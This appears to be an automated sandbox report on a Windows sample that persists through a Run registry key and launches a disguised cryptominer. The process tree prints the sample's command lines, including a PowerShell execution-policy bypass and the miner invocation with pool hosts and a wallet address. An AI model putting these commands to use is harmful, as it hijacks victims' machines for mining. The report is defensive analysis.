041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171

Analysis

max time kernel
90s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 23:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
Size 20.3MB
Sample260910-3xtxeszsg1
SHA256 041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171
MD5 c5920661324ffa4e4589e8b7fd5cb0d0
SHA1 a4faba679848c5e5ac99f4dfa6db10136313826e
SHA512 cdd36268a24305e32d1f51d6da16ddf63b5e70a1b971e8361db5e58b93d88fc6cae33754c95fda8f14917e06f035706bd6d5e50fe3e4860ece288bea717948f6
SSDEEP 393216:ORLDX2JmjPbTddAYwB9jIulfD08OpGuN6mdUSCJYkwZ:AjwXEvbN9qJikwZ
TLSH
T1F72733A45E5C0988E437A03B43E9DE40D5273880ABF4B5C71B966F1FDD62ED01A353EA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution persistence upx

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
548	HostProcessWindowsTask.exe
2492	HostProcessWindowsTask.exe
4408	HostProcessWindowsTask.exe
836	HostProcessWindowsTask.exe
2024	HostProcessWindowsTask.exe
628	HostProcessWindowsTask.exe
2888	HostProcessWindowsTask.exe
2184	HostProcessWindowsTask.exe
1536	HostProcessWindowsTask.exe
2468	HostProcessWindowsTask.exe
3344	HostProcessWindowsTask.exe
4924	HostProcessWindowsTask.exe
1784	HostProcessWindowsTask.exe
936	HostProcessWindowsTask.exe
3352	HostProcessWindowsTask.exe
2696	HostProcessWindowsTask.exe
1924	HostProcessWindowsTask.exe
4608	HostProcessWindowsTask.exe
3008	HostProcessWindowsTask.exe
1272	HostProcessWindowsTask.exe
1072	HostProcessWindowsTask.exe
980	HostProcessWindowsTask.exe
2564	HostProcessWindowsTask.exe
368	HostProcessWindowsTask.exe
4620	HostProcessWindowsTask.exe
2092	HostProcessWindowsTask.exe
5076	HostProcessWindowsTask.exe
548	HostProcessWindowsTask.exe
5304	HostProcessWindowsTask.exe
5320	HostProcessWindowsTask.exe
6096	HostProcessWindowsTask.exe
6104	HostProcessWindowsTask.exe
6112	HostProcessWindowsTask.exe
6120	HostProcessWindowsTask.exe
6128	HostProcessWindowsTask.exe
6136	HostProcessWindowsTask.exe
4364	HostProcessWindowsTask.exe
4408	HostProcessWindowsTask.exe
1128	HostProcessWindowsTask.exe
400	HostProcessWindowsTask.exe
1648	HostProcessWindowsTask.exe
3528	HostProcessWindowsTask.exe
4320	HostProcessWindowsTask.exe
1724	HostProcessWindowsTask.exe
6172	HostProcessWindowsTask.exe
6612	HostProcessWindowsTask.exe
6660	HostProcessWindowsTask.exe
6668	HostProcessWindowsTask.exe
7012	HostProcessWindowsTask.exe
7020	HostProcessWindowsTask.exe
7032	HostProcessWindowsTask.exe
7040	HostProcessWindowsTask.exe
7064	HostProcessWindowsTask.exe
7088	HostProcessWindowsTask.exe
6164	HostProcessWindowsTask.exe
6512	HostProcessWindowsTask.exe
6508	HostProcessWindowsTask.exe
6592	HostProcessWindowsTask.exe
6588	HostProcessWindowsTask.exe
6484	HostProcessWindowsTask.exe
7016	HostProcessWindowsTask.exe
5268	HostProcessWindowsTask.exe
6920	HostProcessWindowsTask.exe
4536	HostProcessWindowsTask.exe

Loads dropped DLL 24 IoCs

pid	Process
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HostTask = "C:\\Users\\Admin\\AppData\\Local\\Temp\\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/548-222-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2492-224-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/4408-226-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/836-227-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2024-228-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/628-229-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2888-230-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2184-231-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1536-232-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/3344-235-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/4924-234-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2468-233-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1784-236-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/936-237-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2696-239-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/3352-238-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1924-240-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/4608-252-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1272-251-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1072-249-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/3008-250-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/5320-253-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6104-257-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6136-265-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1724-266-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6112-264-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/400-263-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1648-262-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/4408-261-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/1128-260-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6172-267-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6128-256-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/4364-255-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6120-259-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/4320-258-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6096-254-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6660-269-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/3528-268-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6612-270-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2564-247-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/368-246-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/5304-241-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/548-243-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/5076-242-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/980-248-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/4620-245-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/2092-244-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6668-271-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/7012-272-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/7088-276-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/7020-277-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/7040-275-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/7032-274-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6164-278-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6592-281-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6512-280-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6484-283-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6588-282-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6508-279-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/7064-273-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/5268-286-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6920-287-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/6488-288-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx
behavioral1/memory/7016-285-0x00007FF6CEED0000-0x00007FF6CFED0000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1828	powershell.exe
3200	powershell.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
7700	cmd.exe
3468	cmd.exe
7368	cmd.exe
5696	cmd.exe
4788	cmd.exe
7308	cmd.exe
5528	cmd.exe
1796	cmd.exe
5764	cmd.exe
2408	cmd.exe
3868	cmd.exe
4408	cmd.exe
8360	cmd.exe
5788	cmd.exe
6452	cmd.exe
8020	cmd.exe
7104	cmd.exe
5376	cmd.exe
7012	cmd.exe
5364	cmd.exe
4880	cmd.exe
8748	cmd.exe
2784	cmd.exe
1872	cmd.exe
1800	cmd.exe
11148	cmd.exe
7504	cmd.exe
4644	cmd.exe
9948	cmd.exe
4796	cmd.exe
8000	cmd.exe
9260	cmd.exe
9744	cmd.exe
2064	cmd.exe
3480	cmd.exe
8884	cmd.exe
2756	cmd.exe
10068	cmd.exe
9268	cmd.exe
10604	cmd.exe
9736	cmd.exe
6968	cmd.exe
7788	cmd.exe
3516	cmd.exe
564	cmd.exe
6856	cmd.exe
6948	cmd.exe
9756	cmd.exe
8432	cmd.exe
5480	cmd.exe
5708	cmd.exe
8724	cmd.exe
6504	cmd.exe
2512	cmd.exe
5500	cmd.exe
9432	cmd.exe
8432	cmd.exe
408	cmd.exe
10852	cmd.exe
5908	cmd.exe
7072	cmd.exe
7832	cmd.exe
8892	cmd.exe
7872	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1828	powershell.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1828	powershell.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeDebugPrivilege	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
Token: SeDebugPrivilege	3200	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 2960	2352	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	85
PID 2960 wrote to memory of 1828	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	86
PID 2960 wrote to memory of 1972	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	87
PID 2960 wrote to memory of 384	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	88
PID 384 wrote to memory of 3988	384	cmd.exe	92
PID 1972 wrote to memory of 4924	1972	cmd.exe	93
PID 384 wrote to memory of 548	384	cmd.exe	94
PID 1972 wrote to memory of 2492	1972	cmd.exe	95
PID 2960 wrote to memory of 5044	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	97
PID 5044 wrote to memory of 216	5044	cmd.exe	100
PID 5044 wrote to memory of 4408	5044	cmd.exe	101
PID 2892 wrote to memory of 1876	2892	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	102
PID 1828 wrote to memory of 2548	1828	powershell.exe	103
PID 1876 wrote to memory of 3200	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	104
PID 1876 wrote to memory of 4616	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	105
PID 1876 wrote to memory of 5084	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	106
PID 2960 wrote to memory of 1156	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	110
PID 2548 wrote to memory of 3188	2548	csc.exe	112
PID 1156 wrote to memory of 3816	1156	cmd.exe	113
PID 1156 wrote to memory of 836	1156	cmd.exe	114
PID 1876 wrote to memory of 5024	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	115
PID 3200 wrote to memory of 4772	3200	powershell.exe	117
PID 2960 wrote to memory of 1760	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	118
PID 4772 wrote to memory of 3492	4772	csc.exe	120
PID 1760 wrote to memory of 4788	1760	cmd.exe	403
PID 1760 wrote to memory of 2024	1760	cmd.exe	224
PID 1876 wrote to memory of 2500	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	123
PID 2960 wrote to memory of 3032	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	125
PID 2500 wrote to memory of 3796	2500	cmd.exe	646
PID 4616 wrote to memory of 4660	4616	cmd.exe	128
PID 2500 wrote to memory of 628	2500	cmd.exe	129
PID 4616 wrote to memory of 2888	4616	cmd.exe	130
PID 1876 wrote to memory of 3124	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	131
PID 2960 wrote to memory of 2408	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	133
PID 5084 wrote to memory of 3088	5084	cmd.exe	135
PID 3124 wrote to memory of 2624	3124	cmd.exe	649
PID 5084 wrote to memory of 2184	5084	cmd.exe	137
PID 1876 wrote to memory of 1336	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	138
PID 3124 wrote to memory of 1536	3124	cmd.exe	140
PID 2960 wrote to memory of 3512	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	141
PID 2408 wrote to memory of 3828	2408	cmd.exe	195
PID 1876 wrote to memory of 1796	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	144
PID 2960 wrote to memory of 3212	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	146
PID 3512 wrote to memory of 4008	3512	cmd.exe	148
PID 1336 wrote to memory of 1620	1336	cmd.exe	149
PID 3512 wrote to memory of 2468	3512	cmd.exe	666
PID 2408 wrote to memory of 3344	2408	cmd.exe	151
PID 1336 wrote to memory of 4924	1336	cmd.exe	152
PID 5024 wrote to memory of 2036	5024	cmd.exe	199
PID 1876 wrote to memory of 3328	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	154
PID 2960 wrote to memory of 2512	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	156
PID 1876 wrote to memory of 1476	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	158
PID 2960 wrote to memory of 3868	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	160
PID 5024 wrote to memory of 1784	5024	cmd.exe	162
PID 2512 wrote to memory of 448	2512	cmd.exe	163
PID 1476 wrote to memory of 4584	1476	cmd.exe	164
PID 2512 wrote to memory of 936	2512	cmd.exe	165
PID 1876 wrote to memory of 1364	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	166
PID 2960 wrote to memory of 640	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	168
PID 1876 wrote to memory of 3932	1876	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	170
PID 2960 wrote to memory of 2328	2960	041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe	172
PID 3032 wrote to memory of 4156	3032	cmd.exe	174
PID 640 wrote to memory of 1656	640	cmd.exe	206
PID 1476 wrote to memory of 3352	1476	cmd.exe	176

C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
"C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe
  "C:\Users\Admin\AppData\Local\Temp\041252d764b3d18e37ccd410845d7f2a57fe50e530bccbbd5c3f6c75f5300171.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3yrycliq\3yrycliq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2548
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2D74.tmp" "c:\Users\Admin\AppData\Local\Temp\3yrycliq\CSCE8EE9B91941A4674835FF06EB5144E47.TMP"
        5⤵
        
        PID:3188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4924
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
